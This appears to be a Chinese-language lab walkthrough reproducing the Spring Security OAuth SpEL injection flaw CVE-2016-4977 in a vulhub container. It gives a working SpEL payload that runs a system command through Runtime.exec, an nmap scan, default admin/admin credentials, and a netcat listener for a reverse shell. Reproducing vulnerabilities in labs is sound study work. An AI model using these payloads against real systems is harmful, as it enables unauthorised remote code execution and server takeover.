vulhub-spring-cve-2016-4977
0x01 前言
Spring Security OAuth是为Spring框架提供安全认证支持的一个模块。在用户使用Whitelabel views
来处理错误时,攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。
影响版本:Spring Security OAuth 2.0.0 到 2.0.9 和 1.0.0 到 1.0.5
描述:在使用 Spring Security OAuth 2.0.0 到 2.0.9 和 1.0.0 到 1.0.5 中的白标签视图处理授权请求时,response_type(不止这个参数可以) 参数值作为 Spring SpEL 执行,这使得恶意用户能够通过制作触发远程代码执行response_type 的值。
0x02 环境准备
利用vulhub提供的环境进行复现。
首先进入vulhub对应目录执行docker-compose up -d启动镜像。
nmap扫描查看服务是否启动。输入:nmap -Pn -sS -sC -sV -T5 -n -p 1-65535 192.168.xx.xx。
0x03 漏洞复现
根据vulhub提供的路径,我们可以访问:http://192.168.xx.xx:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test。
发现需要输入账户密码,这里输入admin/admin。进入。
我们发现上述response_type参数后面的${233*233}被执行了。说明这里存在命令执行漏洞。其实redirect_uri参数也受此漏洞影响,如下图。
既然知道漏洞点了,我们首先制作反弹shell,这里需要将反弹shell进行base64加密,因为
有时命令执行有效载荷
Runtime.getRuntime().exec()
会失败。在 Base64 编码的帮助下可以帮助减少这些问题。点击此链接制作base64编码。制作完base64编码后我们可以将其作为参数,利用一个脚本生成java反弹shell的poc。首先我们来看看这个脚本。
简单分析一下。
我们首先分析一下java.lang.Runtime.getRuntime().exec()函数,我们在java中调用操作系统的程序时,可以使用T(java.lang.Runtime).getRuntime().exec()来实现。在exec()中,例如底层为linux系统,我们可以输入T(java.lang.Runtime).getRuntime().exec(‘id’)来查看当前用户的id。
但是,在此漏洞情况下,在url中输入的时候,单引号和双引号等特殊字符会被url编码,这样是不符合命令格式,所以无法在exec中执行命令。这样的话我们可以利用一个函数:T(java.lang.Character).toString()来表示字符串(T表示java一个确定的java类型type)。这个函数的意思是将传入tostring的ascii码转换成字符串。例如:T(java.lang.Character).toString(97)就表示”a”。
而且,我们可以使用concat函数来连接字符组成一个更长的字符串:T(java.lang.Character).toString(105).concat(T(java.lang.Character).toString(100))就表示字符串”id”。那么:
${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(105).concat(T(java.lang.Character).toString(100)))}
这行代码就可以在当前漏洞被执行。(由于无法回显系统输出,所以不在这里演示) 由此可见,poc.py这个脚本就是为了将输入的shell等命令“翻译”成java可执行的代码,也就是类似上面那个加阴影红色代码。
接下来,我们将base64编码后的bash的shell反弹命令作为入参,生成java代码如下。
将生成的反弹码作为response_type或者redirect_uri的参数。
这里是作为response_type的参数。
最后在攻击机开启监听(nc -lvvp 4444)。浏览器点击发送,获得反弹shell。
复现结束。
结语:参考链接中有对其原理的分析,需要的请查看。
0x04 参考链接
- Vulhub-Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
- java.lang.Runtime.exec() 有效负载解决方法
- poc.py脚本
- Spring Security OAuth RCE (CVE-2016-4977) 漏洞分析
- 记一次SPRING表达式注入